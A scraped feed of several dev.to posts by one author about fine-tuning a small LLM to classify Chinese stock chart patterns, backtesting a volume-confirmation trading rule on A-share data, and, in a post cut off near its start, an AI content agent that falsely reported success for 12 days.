&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;175  缩量回调寻底      (low-volume pullback)
155  趋势上涨通道      (trend following)
146  横盘震荡          (sideways consolidation)
 43  关键放量突破      (breakout with volume)
 30  高位放量崩塌      (distribution day)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The gap between the most and least frequent class is &lt;strong&gt;5.8:1&lt;/strong&gt;. The rarest class — the one that tells you to &lt;em&gt;get out&lt;/em&gt; — is also the one that matters most. That ratio, not the model size, turned out to be the whole story.&lt;/p&gt;

&lt;h2&gt;
  
  
  The training run
&lt;/h2&gt;

&lt;p&gt;Base model: Qwen2.5-7B-Instruct, QLoRA 4-bit, Unsloth, on a single RTX 3080. Rank 16, 3 epochs = 78 steps ≈ 4 minutes. That's the part everyone tweets about, and it works exactly as advertised.&lt;/p&gt;

&lt;p&gt;Three things broke, and all three are boring infrastructure bugs worth knowing before you burn an evening:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;trl&lt;/code&gt; version matters more than it should.&lt;/strong&gt; &lt;code&gt;trl==0.20.0&lt;/code&gt; worked; 0.23/0.24 threw an entropy-related training bug. Pin it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chat templates with custom tokens.&lt;/strong&gt; If your dataset uses &lt;code&gt;&amp;lt;EOS_TOKEN&amp;gt;&lt;/code&gt; / &lt;code&gt;&amp;lt;PAD_TOKEN&amp;gt;&lt;/code&gt; placeholders, they must be registered in the tokenizer vocabulary first, otherwise loss silently ignores them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Environment isolation.&lt;/strong&gt; My agent's Python environment had a different NumPy build than the training venv. Training in the wrong interpreter gave ABI crashes that look like CUDA problems. Use a dedicated venv, not the one your agent runs in.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The result that mattered
&lt;/h2&gt;

&lt;p&gt;First run (rank 16, 3 epochs): the model produced fluent Chinese analysis but didn't reliably follow the output format of the training rows. Classic under-training. So I went to 8 epochs — about 11 minutes — and the format aligned. Good.&lt;/p&gt;

&lt;p&gt;Then I did what I should have done first: I held the eval set fixed and changed one thing at a time.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;rank 16 → rank 64 (4x the trainable parameters)&lt;/li&gt;
&lt;li&gt;3 epochs → 8 epochs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The aggregate score did not move beyond run-to-run noise. What moved was &lt;strong&gt;which examples were wrong&lt;/strong&gt;. The same structural failure persisted in both runs: the 30-sample &lt;em&gt;distribution day&lt;/em&gt; class kept collapsing into the far more common &lt;em&gt;pullback&lt;/em&gt; class, because a 5.8:1 prior is a stronger signal than the few distinguishing examples. Extra capacity just reshuffled which individual rows got hit.&lt;/p&gt;

&lt;p&gt;That's the useful takeaway, and it's not specific to stocks:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;When your dataset is coverage-bound, adding capacity only reorders your errors. It doesn't create knowledge that isn't in the examples.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A 7B model with rank-64 adapters still only knows what the 549 rows taught it. In this task, the rows also had a deeper problem: the input is a &lt;em&gt;single day&lt;/em&gt; of price and volume, but the label depends on &lt;strong&gt;market regime&lt;/strong&gt; — what the index did that week, whether the sector was rotating, what the volume looked like relative to the last 20 sessions. The model couldn't see the variable that determines the answer. No amount of LoRA fixes a missing feature.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd do differently (in order)
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Fix the label distribution before touching hyperparameters.&lt;/strong&gt; Oversample or synthesise the scarce classes until the ratio is under 2:1. My rare class has 30 examples; that's not a class, it's an anecdote.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Give the model the regime, not just the snapshot.&lt;/strong&gt; Attach 20-day rolling context (index return, sector breadth, relative volume percentile) to each row.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Split by time, never randomly.&lt;/strong&gt; Adjacent days of the same ticker are near-duplicates. A random split leaks the answer into your eval set and inflates the score.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Freeze the eval set before the first run.&lt;/strong&gt; Otherwise "I improved it" means "I picked the checkpoint that scored best on the set I kept looking at."&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Route low-confidence output to a re-check instead of trusting it.&lt;/strong&gt; A model that is right 80% of the time and knows when it's unsure is worth more than one that is confidently wrong on the 30 examples that matter.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The part that actually shipped
&lt;/h2&gt;

&lt;p&gt;The fine-tune is the least interesting artifact from this project. The reusable pieces are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a &lt;strong&gt;free, key-less data pipeline&lt;/strong&gt; (Tencent quotes + a daily collector) that produces a clean snapshot file,&lt;/li&gt;
&lt;li&gt;a &lt;strong&gt;regime-split backtest&lt;/strong&gt; so that "this signal works" is a claim with a date range attached, and&lt;/li&gt;
&lt;li&gt;the &lt;strong&gt;failure log&lt;/strong&gt; above, which is what stopped me from shipping a model that was fluent and wrong.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I keep all three in the open here — including the negative results:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;→ &lt;a href="https://github.com/Felixwang007/a-share-signal-lab" rel="noopener noreferrer"&gt;github.com/Felixwang007/a-share-signal-lab&lt;/a&gt;&lt;/strong&gt; — honest signal replication on real A-share data: 15,900 stock-days, regime-split backtests, and the free-data Python toolkit used above. No API keys, no paid feeds, runnable on a laptop.&lt;/p&gt;

&lt;p&gt;If you'd rather have the packaged version as an agent skill (the indicator library + the screening workflow, ready to drop into Claude Code / Cursor / any MCP client), it's also on the skill marketplaces — &lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;虾评&lt;/a&gt; and Agensi — alongside the GitHub Trending aggregator I wrote about earlier.&lt;/p&gt;

&lt;p&gt;If you're fine-tuning anything on a few hundred rows: check your class balance and your train/test split &lt;em&gt;before&lt;/em&gt; you check your rank. In my case that was worth more than the 4x parameter bump — and it took 4 minutes to test instead of 4 hours.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Comments welcome — especially if you've hit the same coverage ceiling with domain-specific classifiers. I'd like to know what made the difference for you: synthetic data, better features, or a smaller, cleaner label set.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>I Backtested 'Volume Confirmation' on 15,900 Real A-Share Stock-Days. It Flipped Sign Between Two Consecutive Months.</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 10 Sep 2026 04:02:34 +0000</pubDate>
      <link>https://dev.to/felixwang007/i-backtested-volume-confirmation-on-15900-real-a-share-stock-days-it-flipped-sign-between-two-977</link>
      <guid>https://dev.to/felixwang007/i-backtested-volume-confirmation-on-15900-real-a-share-stock-days-it-flipped-sign-between-two-977</guid>
      <description>&lt;p&gt;Every popular rule in Chinese retail trading has a cousin in English: &lt;em&gt;a big up day on strong volume continues; a big up day on weak volume fails.&lt;/em&gt; In A-shares it is usually phrased as &lt;strong&gt;量价配合&lt;/strong&gt; — price and volume must agree.&lt;/p&gt;

&lt;p&gt;I wanted to know if it survives contact with real data. So I pulled daily bars for &lt;strong&gt;584 liquid Shanghai/Shenzhen names&lt;/strong&gt; from free public endpoints (no API key, no paid vendor), built &lt;strong&gt;15,900 stock-days&lt;/strong&gt;, and conditioned the next day's return on today's move and today's volume ratio. Then I split every bucket by calendar month.&lt;/p&gt;

&lt;p&gt;The rule works beautifully — until you split it by month. Then it flips sign.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Repo with the full script: &lt;a href="https://github.com/Felixwang007/a-share-signal-lab" rel="noopener noreferrer"&gt;github.com/Felixwang007/a-share-signal-lab&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this question, on this particular day
&lt;/h2&gt;

&lt;p&gt;Right now (midday, Sep 10 2026) the Shanghai Composite is at 3937.78, down 0.35%, on about ¥1.09 trillion of turnover — and here is the interesting part: out of &lt;strong&gt;5,217 stocks I scanned, only 1,078 are up (20.7%)&lt;/strong&gt;, while there are &lt;strong&gt;36 limit-ups against 6 limit-downs&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That is a narrow, theme-driven tape. Breadth is terrible; a small set of names is being chased hard. This is exactly the regime in which momentum rules look infallible — and exactly the regime where "the setup" quietly stops working the week after you commit to it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Method
&lt;/h2&gt;

&lt;p&gt;For every stock-day &lt;code&gt;t&lt;/code&gt; with at least 5 prior bars and one forward bar:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;field&lt;/th&gt;
&lt;th&gt;definition&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;today&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;close[t] / close[t-1] - 1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;vr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;volume[t] / mean(volume[t-5..t-1])&lt;/code&gt; — volume ratio vs the 5-day average&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;next&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;close[t+1] / close[t] - 1&lt;/code&gt; — the thing being predicted&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bars&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bars&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;bars&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;vols&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;volume&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;bars&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
    &lt;span class="n"&gt;avg5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vols&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;5.0&lt;/span&gt;
    &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;
        &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;date&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;close&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;close&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;      &lt;span class="c1"&gt;# today
&lt;/span&gt;        &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;volume&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;avg5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                 &lt;span class="c1"&gt;# volume ratio
&lt;/span&gt;        &lt;span class="n"&gt;bars&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;close&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;close&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;# tomorrow
&lt;/span&gt;    &lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Everything below is computed from that. No synthetic data, no curve fitting.&lt;/p&gt;

&lt;h2&gt;
  
  
  Baseline first
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;everything   n=15900   next-day mean=-0.063%   median=-0.123%   win=47.3%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The window drifts slightly down. Keep that number — it is the yardstick for every "signal" that follows. Most retail backtests never print this line, and that omission is where fake edges come from.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conditioned on today's move
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;down &amp;gt;3%          n= 2330   mean=-0.184%   win=45.8%
down 1-3%         n= 3530   mean=+0.110%   win=49.5%
flat +/-1%        n= 4743   mean=-0.061%   win=47.5%
up 1-3%           n= 3162   mean=-0.192%   win=46.0%
up 3-9.5%         n= 1797   mean=-0.260%   win=44.8%
limit-up &amp;gt;9.5%    n=  338   mean=+1.199%   win=56.5%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only limit-ups show positive aggregate follow-through. Note what this already tells you: &lt;strong&gt;buying a normal 3-9.5% up day is worse than doing nothing&lt;/strong&gt; in this sample — about 1,797 opportunities per quarter, 44.8% win rate.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conditioned on volume alone
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vol &amp;lt;0.7x   (dry)     n= 2293   mean=-0.121%   win=45.3%
vol 0.7-1.3x (normal) n=10852   mean=-0.050%   win=47.7%
vol 1.3-2x  (mild)    n= 2291   mean=-0.099%   win=46.7%
vol 2-3x    (spike)   n=  371   mean=+0.168%   win=50.4%
vol &amp;gt;3x     (huge)    n=   93   mean=-0.169%   win=48.4%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Volume by itself is close to information-free. And "huge volume" is not bullish — n=93, negative mean. Anyone who has traded A-shares long enough has watched a 巨量 day mark the top; the data agrees, weakly.&lt;/p&gt;

&lt;h2&gt;
  
  
  The cross — where the rule lives
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;up 3-9.5%   vol &amp;lt;0.7x     n=   37   mean=-0.295%   win=37.8%
up 3-9.5%   vol 0.7-1.3x  n=  828   mean=-0.560%   win=42.5%
up 3-9.5%   vol 1.3-2x    n=  709   mean=-0.049%   win=46.4%
up 3-9.5%   vol 2-3x      n=  187   mean=+0.346%   win=50.8%
up 3-9.5%   vol &amp;gt;3x       n=   36   mean=-0.617%   win=41.7%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In aggregate the folk rule holds: the "big up day on weak volume" bucket is the second-worst in the entire study (&lt;code&gt;-0.560%&lt;/code&gt;, 42.5% win), and it is the single most crowded bad trade in the market — &lt;strong&gt;865 samples, 5.4% of all stock-days.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And the middle row is the confirmation: same move, volume 2-3x, and the sign flips to positive (+0.346%, 50.8% win).&lt;/p&gt;

&lt;p&gt;So: rule confirmed. Right? Let me ruin it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Split by month
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;setup                    2026-06          2026-07          2026-08    stable?
limit-up &amp;gt;=9.5%        +2.18%/64.2%     -1.39%/35.6%     +5.46%/100%    flips
up 3-9.5%, vol &amp;gt;=2x    +0.48%/52.0%     -0.33%/44.2%     +2.32%/71.4%   flips
up 3-9.5%, vol 1.3-2x  +0.43%/52.6%     -0.71%/37.7%     +0.69%/52.6%   flips
up 3-9.5%, vol &amp;lt;1.3x   +0.18%/50.2%     -1.43%/32.5%     -0.61%/42.9%   flips
flat, vol &amp;lt;0.7x        -0.12%/44.8%     -0.17%/45.4%     +0.52%/52.8%   flips
down &amp;gt;3%, vol &amp;lt;0.7x    +0.01%/53.4%     -1.15%/33.9%     +0.57%/60.0%   flips
down &amp;gt;3%, vol &amp;gt;=2x     +0.60%/46.2%     -1.24%/36.8%         n/a        flips
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;All seven setups flip.&lt;/strong&gt; The headline: limit-up follow-through was &lt;strong&gt;+2.18% with a 64.2% win rate in June&lt;/strong&gt; and &lt;strong&gt;-1.39% with a 35.6% win rate in July&lt;/strong&gt;. Same rule, same market, thirty days apart.&lt;/p&gt;

&lt;p&gt;A trader who validated the rule in June, sized up in July, and then blamed their psychology has misdiagnosed the problem entirely. The rule was never a rule. It was June.&lt;/p&gt;

&lt;p&gt;(The August column is shown for completeness, but n=5-36 per bucket. Do not read it as evidence — including the 100% win rate. This is exactly the trap the whole post is about.)&lt;/p&gt;

&lt;h2&gt;
  
  
  The one-line fix: measure net of drift
&lt;/h2&gt;

&lt;p&gt;A setup's edge is not its raw mean. It is its mean &lt;strong&gt;minus whatever the market itself did&lt;/strong&gt; that month:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;setup                   month      n    setup    drift    excess
limit-up &amp;gt;=9.5%        2026-06    229   +2.18%  +0.049%    +2.13pp
limit-up &amp;gt;=9.5%        2026-07    101   -1.39%  -0.236%    -1.15pp
up 3-9.5%, vol &amp;gt;=2x    2026-06    127   +0.48%  +0.049%    +0.43pp
up 3-9.5%, vol &amp;gt;=2x    2026-07     86   -0.33%  -0.236%    -0.09pp
up 3-9.5%, vol &amp;lt;1.3x   2026-06    462   +0.18%  +0.049%    +0.13pp
up 3-9.5%, vol &amp;lt;1.3x   2026-07    369   -1.43%  -0.236%    -1.20pp
down &amp;gt;3%, vol &amp;lt;0.7x    2026-06    103   +0.01%  +0.049%    -0.04pp
down &amp;gt;3%, vol &amp;lt;0.7x    2026-07    174   -1.15%  -0.236%    -0.91pp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The excess flips as well — and it flips &lt;em&gt;harder&lt;/em&gt; than the drift. These setups are not independent alpha. They are &lt;strong&gt;amplifiers of the current regime&lt;/strong&gt;: when the tape's next-day drift is positive they magnify it, when it is negative they magnify the loss. Magnitude ratios in this sample run from 1.4x to 6x the baseline drift.&lt;/p&gt;

&lt;p&gt;In code, the entire discipline is one extra line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;drift&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;next&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;month_rows&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;      &lt;span class="c1"&gt;# equal-weighted market drift
&lt;/span&gt;&lt;span class="n"&gt;excess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;next&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;setup_rows&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;drift&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two things stop being possible once you do this. You can no longer mistake a bull month for a skill. And you can no longer be surprised when your "validated" setup bleeds for six weeks.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I actually took away
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Print the baseline before printing the signal.&lt;/strong&gt; One line, removes the largest source of fake edge.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Require the excess to keep its sign across at least two regimes&lt;/strong&gt; before risking money. On this dataset that filter kills all seven setups. That is a correct output of an honest test, not a failure of the test.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sample size does not rescue you.&lt;/strong&gt; The biggest buckets (10,852 normal-volume days, 8,219 flat days) sit closest to the baseline. The exciting buckets are the small ones. n=93 "huge volume" days will happily support any story you want to tell — mine included.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The most dependable number in the whole study is the baseline:&lt;/strong&gt; 47.3% win rate, negative mean. In a flat-to-down tape, most aggressive entries have negative expectancy &lt;em&gt;before&lt;/em&gt; costs and before T+1 constraint — neither of which this study models.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Caveats, stated plainly
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;584 liquid, mostly well-known names — &lt;strong&gt;not the full ~5,200-stock market.&lt;/strong&gt; Microcaps and new listings are absent.&lt;/li&gt;
&lt;li&gt;Four months, heavily weighted to June-July. Effective sample is smaller than n suggests because consecutive stock-days overlap and are not independent. No significance testing is claimed anywhere in this post.&lt;/li&gt;
&lt;li&gt;No costs, no slippage, no T+1 executability check, no limit-up fill assumption. A signal you cannot fill is not a signal.&lt;/li&gt;
&lt;li&gt;Volume ratio uses a 5-day average; other windows produce other buckets.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Reproduce it (free data, no API key)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/Felixwang007/a-share-signal-lab
python study.py bars.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;bars.json&lt;/code&gt; needs &lt;code&gt;daily_history&lt;/code&gt; — a per-code list of &lt;code&gt;{date, open, high, low, close, volume}&lt;/code&gt;. Data sources that work without a key:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;web.ifzq.gtimg.cn/appstock/app/fqkline/get?param=sh600519,day,,,320,qfq&lt;/code&gt; — daily K-lines, 320 bars&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;vip.stock.finance.sina.com.cn/.../Market_Center.getHQNodeData&lt;/code&gt; — full-market snapshots for breadth&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;qt.gtimg.cn/q=sh000001,sz399001&lt;/code&gt; — index quotes (GBK-encoded, pipe through &lt;code&gt;iconv&lt;/code&gt; if you are on a Unix shell)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The script prints all six tables above, including the monthly split, so you can drop in your own market, your own window, and your own definition of "volume spike."&lt;/p&gt;




&lt;p&gt;If you want the packaged version of this workflow as an agent skill — the same free-data pipeline, the drift normalizer, and a breadth/limit-up regime gauge — I publish skills on &lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;虾评 (xiaping.coze.com)&lt;/a&gt;, and the study repo above is the reference implementation. If you run the split-by-regime test on a different market (US, HK, crypto), I would genuinely like to see whether your setups flip too — my guess is that most of them do.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>My AI Agent Reported 'Success' for 12 Days Straight. Every Article Got 0 Reads.</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Mon, 07 Sep 2026 04:01:24 +0000</pubDate>
      <link>https://dev.to/felixwang007/my-ai-agent-reported-success-for-12-days-straight-every-article-got-0-reads-5ddj</link>
      <guid>https://dev.to/felixwang007/my-ai-agent-reported-success-for-12-days-straight-every-article-got-0-reads-5ddj</guid>
      <description>&lt;p&gt;Last month I ran a fully automated content pipeline: a cron job wrote stock-market articles with an LLM and auto-published them to a Chinese blogging platform. Every morning the job logged &lt;code&gt;status: ok&lt;/code&gt;. Every evening I opened the analytics dashboard. 12 days. 12 articles.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;0 reads.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not 0 &lt;em&gt;clicks&lt;/em&gt;. Zero reads, zero meaningful impressions. The agent wasn't crashing or erroring out — it was succeeding &lt;em&gt;confidently and uselessly&lt;/em&gt;. And that, it turns out, is the most dangerous failure mode an autonomous system can have. A crash wakes you up. A confident lie puts you to sleep.&lt;/p&gt;

&lt;p&gt;Since then I've hit the same shape of failure three more times, in different tools. Here is what actually fixed it.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. &lt;code&gt;status: ok&lt;/code&gt; is prose, not telemetry
&lt;/h3&gt;

&lt;p&gt;The cron job's success string was generated by the &lt;strong&gt;same LLM that did the work&lt;/strong&gt;. That is not a report — it is self-narration. The model was asked "did you finish?" and it answered the way models do: fluently, plausibly, and without any external reference.&lt;/p&gt;

&lt;p&gt;The fix is a &lt;strong&gt;falsifier&lt;/strong&gt;: an external check with an independently observable metric. For the content pipeline that meant "did the article actually appear on the target site?" and "did it get organic reads within 24h?" — not "did the agent say it finished?"&lt;/p&gt;

&lt;p&gt;A success claim is only a hypothesis until something outside the agent can contradict it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
